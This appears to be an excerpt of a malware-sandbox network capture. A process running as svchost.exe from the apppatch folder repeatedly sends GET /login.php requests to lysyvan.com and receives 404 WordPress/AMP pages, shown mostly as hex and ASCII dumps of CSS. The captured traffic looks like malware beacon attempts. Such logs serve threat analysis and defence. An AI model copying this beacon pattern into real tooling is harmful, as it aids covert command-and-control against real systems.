74 20 2e 65 6e 74 Data Ascii: ontent .uagb-ifb-cta a,.ast-single-post .entry-content .wp-block-uagb-buttons a,.ast-single-post .entry-content .uabb-module-content a,.ast-single-post .entry-content .uagb-post-grid a,.ast-single-post .entry-content .uagb-timeline a,.ast-single-post .ent
2024-11-11 17:50:51 UTC	1369	IN	Data Raw: 73 69 62 6c 65 2c 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 6a 73 20 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 6d 69 6e 69 2d 63 61 72 74 2d 69 74 65 6d 20 61 2e 72 65 6d 6f 76 65 3a 66 6f 63 75 73 2d 76 69 73 69 62 6c 65 7b 6f 75 74 6c 69 6e 65 2d 73 74 79 6c 65 3a 64 6f 74 74 65 64 3b 6f 75 74 6c 69 6e 65 2d 63 6f 6c 6f 72 3a 69 6e 68 65 72 69 74 3b 6f 75 74 6c 69 6e 65 2d 77 69 64 74 68 3a 74 68 69 6e 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 3b 7d 69 6e 70 75 74 3a 66 6f 63 75 73 2c 69 6e 70 75 74 5b 74 79 70 65 3d 22 74 65 78 74 22 5d 3a 66 6f 63 75 73 2c 69 6e 70 75 74 5b 74 79 70 65 3d 22 65 6d 61 69 6c 22 5d 3a 66 6f 63 75 73 2c 69 6e 70 75 74 5b 74 79 70 65 3d 22 75 72 6c 22 5d 3a 66 6f 63 75 73 2c 69 6e 70 75 74 5b 74 Data Ascii: sible,.woocommerce-js .woocommerce-mini-cart-item a.remove:focus-visible{outline-style:dotted;outline-color:inherit;outline-width:thin;border-color:transparent;}input:focus,input[type="text"]:focus,input[type="email"]:focus,input[type="url"]:focus,input[t
2024-11-11 17:50:51 UTC	1369	IN	Data Raw: 74 65 6e 74 20 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 45 64 69 74 41 63 63 6f 75 6e 74 46 6f 72 6d 20 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 66 6f 72 6d 2d 72 6f 77 20 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 49 6e 70 75 74 2e 69 6e 70 75 74 2d 74 65 78 74 3a 66 6f 63 75 73 2c 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 20 2e 61 73 74 2d 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 70 61 67 69 6e 61 74 69 6f 6e 20 75 6c 2e 70 61 67 65 2d 6e 75 6d 62 65 72 73 20 6c 69 20 61 3a 66 6f 63 75 73 2c 62 6f 64 79 20 23 63 6f 6e 74 65 6e 74 20 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 20 66 6f 72 6d 20 2e 66 6f 72 6d 2d 72 6f 77 20 2e 73 65 6c 65 63 74 32 2d 63 6f 6e 74 61 69 6e 65 72 2d 2d 64 65 66 61 75 6c 74 20 2e 73 Data Ascii: tent .woocommerce-EditAccountForm .woocommerce-form-row .woocommerce-Input.input-text:focus,.woocommerce .ast-woocommerce-container .woocommerce-pagination ul.page-numbers li a:focus,body #content .woocommerce form .form-row .select2-container--default .s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	54680	188.114.97.3	443	1112	C:\Windows\apppatch\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 17:50:53 UTC	267	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lysyvan.com Connection: Keep-Alive
2024-11-11 17:50:54 UTC	1089	IN	HTTP/1.1 404 Not Found Date: Mon, 11 Nov 2024 17:50:54 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close vary: Accept-Encoding expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 link: <https://lysyvan.com/wp-json/>; rel="https://api.w.org/" server-timing: amp_sanitizer;dur="90.8",amp_style_sanitizer;dur="32.6",amp_tag_and_attribute_sanitizer;dur="39.0",amp_optimizer;dur="47.5" cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=i8ultcjbx3qKLlX7JzQcZTiaAgUQn5JYgMW%2BlgO7FvjBtam1P5Gk%2BIlqhzhKPDxHZt%2BRbr0fATGL8vwxCpQpVq0zfeHcoYyL%2FzU6JxaeaMc8RVBHr8BeIQXdnu3iSA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e10208e7937ac0f-YYZ alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=11900&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2826&recv_bytes=881&delivery_rate=242993&cwnd=38&unsent_bytes=0&cid=0d3acfbefe145dc7&ts=1588&x=0"
2024-11-11 17:50:54 UTC	280	IN	Data Raw: 37 63 31 63 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 20 64 61 74 61 2d 61 6d 70 2d 62 69 6e 64 2d 63 6c 61 73 73 3d 22 69 73 44 61 72 6b 20 3f 20 27 6e 65 76 65 2d 64 61 72 6b 2d 74 68 65 6d 65 27 20 3a 20 27 6e 65 76 65 2d 6c 69 67 68 74 2d 74 68 65 6d 65 27 22 20 63 6c 61 73 73 3d 22 6e 65 76 65 2d 64 61 72 6b 2d 74 68 65 6d 65 22 20 61 6d 70 3d 22 22 20 64 61 74 61 2d 61 6d 70 2d 61 75 74 6f 2d 6c 69 67 68 74 62 6f 78 2d 64 69 73 61 62 6c 65 20 74 72 61 6e 73 66 6f 72 6d 65 64 3d 22 73 65 6c 66 3b 76 3d 31 22 20 69 2d 61 6d 70 68 74 6d 6c 2d 6c 61 79 6f 75 74 3d 22 22 20 69 2d 61 6d 70 68 74 6d 6c 2d 6e 6f 2d 62 6f 69 6c 65 72 70 6c 61 74 65 3d 22 22 20 69 2d 61 6d 70 68 74 6d 6c 2d 62 Data Ascii: 7c1c<!DOCTYPE html><html lang="en-US" data-amp-bind-class="isDark ? 'neve-dark-theme' : 'neve-light-theme'" class="neve-dark-theme" amp="" data-amp-auto-lightbox-disable transformed="self;v=1" i-amphtml-layout="" i-amphtml-no-boilerplate="" i-amphtml-b
2024-11-11 17:50:54 UTC	1369	IN	Data Raw: 73 65 74 3d 22 55 54 46 2d 38 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 61 6d 70 70 72 6f 6a 65 63 74 2e 6f 72 67 22 3e 3c 73 74 79 6c 65 20 61 6d 70 2d 72 75 6e 74 69 6d 65 3d 22 22 20 69 2d 61 6d 70 68 74 6d 6c 2d 76 65 72 73 69 6f 6e 3d 22 30 31 32 34 31 30 31 36 31 38 30 31 30 30 30 22 3e 68 74 6d 6c 7b 6f 76 65 72 66 6c 6f 77 2d 78 3a 68 69 64 64 65 6e 21 69 6d 70 6f 72 74 61 6e 74 7d 68 74 6d 6c 2e 69 2d 61 6d 70 68 74 6d 6c 2d 66 69 65 7b 68 65 69 67 68 74 3a 31 30 Data Ascii: set="UTF-8"><meta name="viewport" content="width=device-width,minimum-scale=1"><link rel="preconnect" href="https://cdn.ampproject.org"><style amp-runtime="" i-amphtml-version="012410161801000">html{overflow-x:hidden!important}html.i-amphtml-fie{height:10
2024-11-11 17:50:54 UTC	1369	IN	Data Raw: 69 6e 67 3a 74 6f 75 63 68 21 69 6d 70 6f 72 74 61 6e 74 7d 23 69 2d 61 6d 70 68 74 6d 6c 2d 77 72 61 70 70 65 72 3e 62 6f 64 79 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 21 69 6d 70 6f 72 74 61 6e 74 3b 62 6f 72 64 65 72 2d 74 6f 70 3a 31 70 78 20 73 6f 6c 69 64 20 74 72 61 6e 73 70 61 72 65 6e 74 21 69 6d 70 6f 72 74 61 6e 74 7d 23 69 2d 61 6d 70 68 74 6d 6c 2d 77 72 61 70 70 65 72 2b 62 6f 64 79 7b 76 69 73 69 62 69 6c 69 74 79 3a 76 69 73 69 62 6c 65 7d 23 69 2d 61 6d 70 68 74 6d 6c 2d 77 72 61 70 70 65 72 2b 62 6f 64 79 20 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 69 67 68 74 62 6f 78 2d 65 6c 65 6d 65 6e 74 2c 23 69 2d 61 6d 70 68 74 6d 6c 2d 77 72 61 70 70 65 72 2b 62 6f 64 79 5b 69 2d 61 6d 70 68 74 6d 6c 2d 6c 69 67 68 74 62 6f 78 5d 7b 76 Data Ascii: ing:touch!important}#i-amphtml-wrapper>body{position:relative!important;border-top:1px solid transparent!important}#i-amphtml-wrapper+body{visibility:visible}#i-amphtml-wrapper+body .i-amphtml-lightbox-element,#i-amphtml-wrapper+body[i-amphtml-lightbox]{v
2024-11-11 17:50:54 UTC	1369	IN	Data Raw: 30 30 25 21 69 6d 70 6f 72 74 61 6e 74 7d 61 6d 70 2d 73 74 6f 72 79 5b 73 74 61 6e 64 61 6c 6f 6e 65 5d 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 21 69 6d 70 6f 72 74 61 6e 74 7d 61 6d 70 2d 73 74 6f 72 79 2d 70 61 67 65 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 37 35 37 35 37 35 7d 61 6d 70 2d 73 74 6f 72 79 20 2e 61 6d 70 2d 61 63 74 69 76 65 3e 64 69 76 2c 61 6d 70 2d 73 74 6f 72 79 20 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 6f 61 64 65 72 2d 62 61 63 6b 67 72 6f 75 6e 64 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 21 69 6d 70 6f 72 74 61 6e 74 7d 61 6d 70 2d 73 74 6f 72 79 2d 70 61 67 65 3a 6e 6f 74 28 3a 66 69 72 73 74 2d 6f 66 2d 74 79 Data Ascii: 00%!important}amp-story[standalone]{background-color:#000!important;position:relative!important}amp-story-page{background-color:#757575}amp-story .amp-active>div,amp-story .i-amphtml-loader-background{display:none!important}amp-story-page:not(:first-of-ty
2024-11-11 17:50:54 UTC	1369	IN	Data Raw: 74 6d 6c 2d 6c 61 79 6f 75 74 2d 72 65 73 70 6f 6e 73 69 76 65 29 2c 5b 77 69 64 74 68 5d 5b 68 65 69 67 68 74 5d 5b 73 69 7a 65 73 5d 3a 6e 6f 74 28 69 6d 67 29 3a 6e 6f 74 28 5b 6c 61 79 6f 75 74 5d 29 3a 6e 6f 74 28 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 61 79 6f 75 74 2d 72 65 73 70 6f 6e 73 69 76 65 29 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 7d 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 61 79 6f 75 74 2d 69 6e 74 72 69 6e 73 69 63 2c 5b 6c 61 79 6f 75 74 3d 69 6e 74 72 69 6e 73 69 63 5d 5b 77 69 64 74 68 5d 5b 68 65 69 67 68 74 5d 3a 6e 6f 74 28 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 61 79 6f 75 74 2d 69 6e 74 72 69 6e 73 69 63 29 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 70 6f 73 69 Data Ascii: tml-layout-responsive),[width][height][sizes]:not(img):not([layout]):not(.i-amphtml-layout-responsive){display:block;position:relative}.i-amphtml-layout-intrinsic,[layout=intrinsic][width][height]:not(.i-amphtml-layout-intrinsic){display:inline-block;posi
2024-11-11 17:50:54 UTC	1369	IN	Data Raw: 79 3a 6e 6f 6e 65 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 2e 69 2d 61 6d 70 68 74 6d 6c 2d 62 6c 75 72 72 79 2d 70 6c 61 63 65 68 6f 6c 64 65 72 2c 2e 69 2d 61 6d 70 68 74 6d 6c 2d 66 69 6c 6c 2d 63 6f 6e 74 65 6e 74 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 68 65 69 67 68 74 3a 30 3b 6d 61 78 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 6d 61 78 2d 77 69 64 74 68 3a 31 30 30 25 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 6d 69 6e 2d 77 69 64 74 68 3a 31 30 30 25 3b 77 69 64 74 68 3a 30 3b 6d 61 72 67 69 6e 3a 61 75 74 6f 7d 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 61 79 6f 75 74 2d 73 69 7a 65 2d 64 65 66 69 6e 65 64 20 2e 69 2d 61 6d 70 68 74 6d 6c 2d 66 69 6c 6c 2d 63 6f 6e 74 65 6e 74 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 74 6f 70 3a 30 Data Ascii: y:none!important}}.i-amphtml-blurry-placeholder,.i-amphtml-fill-content{display:block;height:0;max-height:100%;max-width:100%;min-height:100%;min-width:100%;width:0;margin:auto}.i-amphtml-layout-size-defined .i-amphtml-fill-content{position:absolute;top:0
2024-11-11 17:50:54 UTC	1369	IN	Data Raw: 6e 6f 74 28 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 61 79 6f 75 74 2d 63 6f 6e 74 61 69 6e 65 72 29 3e 2a 2c 5b 6c 61 79 6f 75 74 5d 3a 6e 6f 74 28 5b 6c 61 79 6f 75 74 3d 63 6f 6e 74 61 69 6e 65 72 5d 29 3a 6e 6f 74 28 2e 69 2d 61 6d 70 68 74 6d 6c 2d 65 6c 65 6d 65 6e 74 29 3e 2a 2c 5b 77 69 64 74 68 5d 5b 68 65 69 67 68 74 5d 5b 68 65 69 67 68 74 73 5d 3a 6e 6f 74 28 5b 6c 61 79 6f 75 74 5d 29 3a 6e 6f 74 28 2e 69 2d 61 6d 70 68 74 6d 6c 2d 65 6c 65 6d 65 6e 74 29 3e 2a 2c 5b 77 69 64 74 68 5d 5b 68 65 69 67 68 74 5d 5b 73 69 7a 65 73 5d 3a 6e 6f 74 28 5b 6c 61 79 6f 75 74 5d 29 3a 6e 6f 74 28 2e 69 2d 61 6d 70 68 74 6d 6c 2d 65 6c 65 6d 65 6e 74 29 3e 2a 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 61 6d 70 2d 69 6d 67 3a 6e 6f 74 28 2e 69 2d 61 6d 70 68 74 Data Ascii: not(.i-amphtml-layout-container)>,[layout]:not([layout=container]):not(.i-amphtml-element)>,[width][height][heights]:not([layout]):not(.i-amphtml-element)>,[width][height][sizes]:not([layout]):not(.i-amphtml-element)>{display:none}amp-img:not(.i-ampht
2024-11-11 17:50:54 UTC	1369	IN	Data Raw: 6d 3a 30 21 69 6d 70 6f 72 74 61 6e 74 3b 7a 2d 69 6e 64 65 78 3a 31 7d 61 6d 70 2d 69 6d 67 5b 69 2d 61 6d 70 68 74 6d 6c 2d 73 73 72 5d 3a 6e 6f 74 28 2e 69 2d 61 6d 70 68 74 6d 6c 2d 65 6c 65 6d 65 6e 74 29 3e 5b 70 6c 61 63 65 68 6f 6c 64 65 72 5d 7b 7a 2d 69 6e 64 65 78 3a 61 75 74 6f 7d 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6e 6f 74 62 75 69 6c 74 3e 5b 70 6c 61 63 65 68 6f 6c 64 65 72 5d 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 69 2d 61 6d 70 68 74 6d 6c 2d 68 69 64 64 65 6e 2d 62 79 2d 6d 65 64 69 61 2d 71 75 65 72 79 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 69 2d 61 6d 70 68 74 6d 6c 2d 65 6c 65 6d 65 6e 74 2d 65 72 72 6f 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 72 65 64 21 69 6d 70 Data Ascii: m:0!important;z-index:1}amp-img[i-amphtml-ssr]:not(.i-amphtml-element)>[placeholder]{z-index:auto}.i-amphtml-notbuilt>[placeholder]{display:block!important}.i-amphtml-hidden-by-media-query{display:none!important}.i-amphtml-element-error{background:red!imp
2024-11-11 17:50:54 UTC	1369	IN	Data Raw: 69 64 64 65 6e 21 69 6d 70 6f 72 74 61 6e 74 3b 76 69 73 69 62 69 6c 69 74 79 3a 68 69 64 64 65 6e 7d 61 6d 70 2d 73 74 6f 72 79 7b 76 69 73 69 62 69 6c 69 74 79 3a 68 69 64 64 65 6e 21 69 6d 70 6f 72 74 61 6e 74 7d 68 74 6d 6c 2e 69 2d 61 6d 70 68 74 6d 6c 2d 66 69 65 3e 61 6d 70 2d 61 6e 61 6c 79 74 69 63 73 7b 70 6f 73 69 74 69 6f 6e 3a 69 6e 69 74 69 61 6c 21 69 6d 70 6f 72 74 61 6e 74 7d 5b 76 69 73 69 62 6c 65 2d 77 68 65 6e 2d 69 6e 76 61 6c 69 64 5d 3a 6e 6f 74 28 2e 76 69 73 69 62 6c 65 29 2c 66 6f 72 6d 20 5b 73 75 62 6d 69 74 2d 65 72 72 6f 72 5d 2c 66 6f 72 6d 20 5b 73 75 62 6d 69 74 2d 73 75 63 63 65 73 73 5d 2c 66 6f 72 6d 20 5b 73 75 62 6d 69 74 74 69 6e 67 5d 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 61 6d 70 2d 61 63 63 6f 72 64 69 6f 6e Data Ascii: idden!important;visibility:hidden}amp-story{visibility:hidden!important}html.i-amphtml-fie>amp-analytics{position:initial!important}[visible-when-invalid]:not(.visible),form [submit-error],form [submit-success],form [submitting]{display:none}amp-accordion

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.6	54701	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 17:50:55 UTC	267	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lysyvan.com Connection: Keep-Alive
2024-11-11 17:50:58 UTC	1103	IN	HTTP/1.1 404 Not Found Date: Mon, 11 Nov 2024 17:50:58 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close vary: Accept-Encoding expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 link: <https://lysyvan.com/wp-json/>; rel="https://api.w.org/" server-timing: amp_sanitizer;dur="109.1",amp_style_sanitizer;dur="45.7",amp_tag_and_attribute_sanitizer;dur="32.8",amp_optimizer;dur="56.7" cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=X3H2%2FQjfCttD5TNIeL0%2Bepi4c4dg%2BVPfIBejVpsSiDzkqwtjQfEUEPO%2BRz%2F07iF7taOeeQ%2FIwk9ed3Qi53DT1HiVaxHoLlcZ%2F8WmvUTOWf%2F6MDci8ij%2FhFftfQx4%2BA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e10209e4e4e0c7a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1167&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2826&recv_bytes=881&delivery_rate=2177443&cwnd=251&unsent_bytes=0&cid=824806930f275890&ts=2431&x=0"
2024-11-11 17:50:58 UTC	266	IN	Data Raw: 37 63 30 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 20 64 61 74 61 2d 61 6d 70 2d 62 69 6e 64 2d 63 6c 61 73 73 3d 22 69 73 44 61 72 6b 20 3f 20 27 6e 65 76 65 2d 64 61 72 6b 2d 74 68 65 6d 65 27 20 3a 20 27 6e 65 76 65 2d 6c 69 67 68 74 2d 74 68 65 6d 65 27 22 20 63 6c 61 73 73 3d 22 6e 65 76 65 2d 64 61 72 6b 2d 74 68 65 6d 65 22 20 61 6d 70 3d 22 22 20 64 61 74 61 2d 61 6d 70 2d 61 75 74 6f 2d 6c 69 67 68 74 62 6f 78 2d 64 69 73 61 62 6c 65 20 74 72 61 6e 73 66 6f 72 6d 65 64 3d 22 73 65 6c 66 3b 76 3d 31 22 20 69 2d 61 6d 70 68 74 6d 6c 2d 6c 61 79 6f 75 74 3d 22 22 20 69 2d 61 6d 70 68 74 6d 6c 2d 6e 6f 2d 62 6f 69 6c 65 72 70 6c 61 74 65 3d 22 22 20 69 2d 61 6d 70 68 74 6d 6c 2d 62 Data Ascii: 7c0f<!DOCTYPE html><html lang="en-US" data-amp-bind-class="isDark ? 'neve-dark-theme' : 'neve-light-theme'" class="neve-dark-theme" amp="" data-amp-auto-lightbox-disable transformed="self;v=1" i-amphtml-layout="" i-amphtml-no-boilerplate="" i-amphtml-b
2024-11-11 17:50:58 UTC	1369	IN	Data Raw: 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 61 6d 70 70 72 6f 6a 65 63 74 2e 6f 72 67 22 3e 3c 73 74 79 6c 65 20 61 6d 70 2d 72 75 6e 74 69 6d 65 3d 22 22 20 69 2d 61 6d 70 68 74 6d 6c 2d 76 65 72 73 69 6f 6e 3d 22 30 31 32 34 31 30 31 36 31 38 30 31 30 30 30 22 3e 68 74 6d 6c 7b 6f 76 65 72 66 6c 6f 77 2d 78 3a 68 69 64 64 65 6e 21 69 6d 70 6f 72 74 61 6e 74 7d 68 74 6d 6c 2e 69 2d 61 6d 70 68 74 6d 6c Data Ascii: ead><meta charset="UTF-8"><meta name="viewport" content="width=device-width,minimum-scale=1"><link rel="preconnect" href="https://cdn.ampproject.org"><style amp-runtime="" i-amphtml-version="012410161801000">html{overflow-x:hidden!important}html.i-amphtml
2024-11-11 17:50:58 UTC	1369	IN	Data Raw: 76 65 72 66 6c 6f 77 2d 73 63 72 6f 6c 6c 69 6e 67 3a 74 6f 75 63 68 21 69 6d 70 6f 72 74 61 6e 74 7d 23 69 2d 61 6d 70 68 74 6d 6c 2d 77 72 61 70 70 65 72 3e 62 6f 64 79 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 21 69 6d 70 6f 72 74 61 6e 74 3b 62 6f 72 64 65 72 2d 74 6f 70 3a 31 70 78 20 73 6f 6c 69 64 20 74 72 61 6e 73 70 61 72 65 6e 74 21 69 6d 70 6f 72 74 61 6e 74 7d 23 69 2d 61 6d 70 68 74 6d 6c 2d 77 72 61 70 70 65 72 2b 62 6f 64 79 7b 76 69 73 69 62 69 6c 69 74 79 3a 76 69 73 69 62 6c 65 7d 23 69 2d 61 6d 70 68 74 6d 6c 2d 77 72 61 70 70 65 72 2b 62 6f 64 79 20 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 69 67 68 74 62 6f 78 2d 65 6c 65 6d 65 6e 74 2c 23 69 2d 61 6d 70 68 74 6d 6c 2d 77 72 61 70 70 65 72 2b 62 6f 64 79 5b 69 2d 61 6d 70 68 74 Data Ascii: verflow-scrolling:touch!important}#i-amphtml-wrapper>body{position:relative!important;border-top:1px solid transparent!important}#i-amphtml-wrapper+body{visibility:visible}#i-amphtml-wrapper+body .i-amphtml-lightbox-element,#i-amphtml-wrapper+body[i-ampht
2024-11-11 17:50:58 UTC	1369	IN	Data Raw: 6f 72 74 61 6e 74 3b 77 69 64 74 68 3a 31 30 30 25 21 69 6d 70 6f 72 74 61 6e 74 7d 61 6d 70 2d 73 74 6f 72 79 5b 73 74 61 6e 64 61 6c 6f 6e 65 5d 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 21 69 6d 70 6f 72 74 61 6e 74 7d 61 6d 70 2d 73 74 6f 72 79 2d 70 61 67 65 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 37 35 37 35 37 35 7d 61 6d 70 2d 73 74 6f 72 79 20 2e 61 6d 70 2d 61 63 74 69 76 65 3e 64 69 76 2c 61 6d 70 2d 73 74 6f 72 79 20 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 6f 61 64 65 72 2d 62 61 63 6b 67 72 6f 75 6e 64 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 21 69 6d 70 6f 72 74 61 6e 74 7d 61 6d 70 2d 73 74 6f 72 79 2d 70 61 67 65 3a 6e 6f Data Ascii: ortant;width:100%!important}amp-story[standalone]{background-color:#000!important;position:relative!important}amp-story-page{background-color:#757575}amp-story .amp-active>div,amp-story .i-amphtml-loader-background{display:none!important}amp-story-page:no
2024-11-11 17:50:58 UTC	1369	IN	Data Raw: 5d 29 3a 6e 6f 74 28 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 61 79 6f 75 74 2d 72 65 73 70 6f 6e 73 69 76 65 29 2c 5b 77 69 64 74 68 5d 5b 68 65 69 67 68 74 5d 5b 73 69 7a 65 73 5d 3a 6e 6f 74 28 69 6d 67 29 3a 6e 6f 74 28 5b 6c 61 79 6f 75 74 5d 29 3a 6e 6f 74 28 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 61 79 6f 75 74 2d 72 65 73 70 6f 6e 73 69 76 65 29 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 7d 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 61 79 6f 75 74 2d 69 6e 74 72 69 6e 73 69 63 2c 5b 6c 61 79 6f 75 74 3d 69 6e 74 72 69 6e 73 69 63 5d 5b 77 69 64 74 68 5d 5b 68 65 69 67 68 74 5d 3a 6e 6f 74 28 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 61 79 6f 75 74 2d 69 6e 74 72 69 6e 73 69 63 29 7b 64 69 73 70 6c 61 79 3a 69 6e 6c Data Ascii: ]):not(.i-amphtml-layout-responsive),[width][height][sizes]:not(img):not([layout]):not(.i-amphtml-layout-responsive){display:block;position:relative}.i-amphtml-layout-intrinsic,[layout=intrinsic][width][height]:not(.i-amphtml-layout-intrinsic){display:inl
2024-11-11 17:50:58 UTC	1369	IN	Data Raw: 61 62 6c 65 2d 61 72 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 2e 69 2d 61 6d 70 68 74 6d 6c 2d 62 6c 75 72 72 79 2d 70 6c 61 63 65 68 6f 6c 64 65 72 2c 2e 69 2d 61 6d 70 68 74 6d 6c 2d 66 69 6c 6c 2d 63 6f 6e 74 65 6e 74 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 68 65 69 67 68 74 3a 30 3b 6d 61 78 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 6d 61 78 2d 77 69 64 74 68 3a 31 30 30 25 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 6d 69 6e 2d 77 69 64 74 68 3a 31 30 30 25 3b 77 69 64 74 68 3a 30 3b 6d 61 72 67 69 6e 3a 61 75 74 6f 7d 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 61 79 6f 75 74 2d 73 69 7a 65 2d 64 65 66 69 6e 65 64 20 2e 69 2d 61 6d 70 68 74 6d 6c 2d 66 69 6c 6c 2d 63 6f 6e 74 65 6e 74 7b 70 6f 73 69 74 69 6f 6e 3a Data Ascii: able-ar{display:none!important}}.i-amphtml-blurry-placeholder,.i-amphtml-fill-content{display:block;height:0;max-height:100%;max-width:100%;min-height:100%;min-width:100%;width:0;margin:auto}.i-amphtml-layout-size-defined .i-amphtml-fill-content{position:
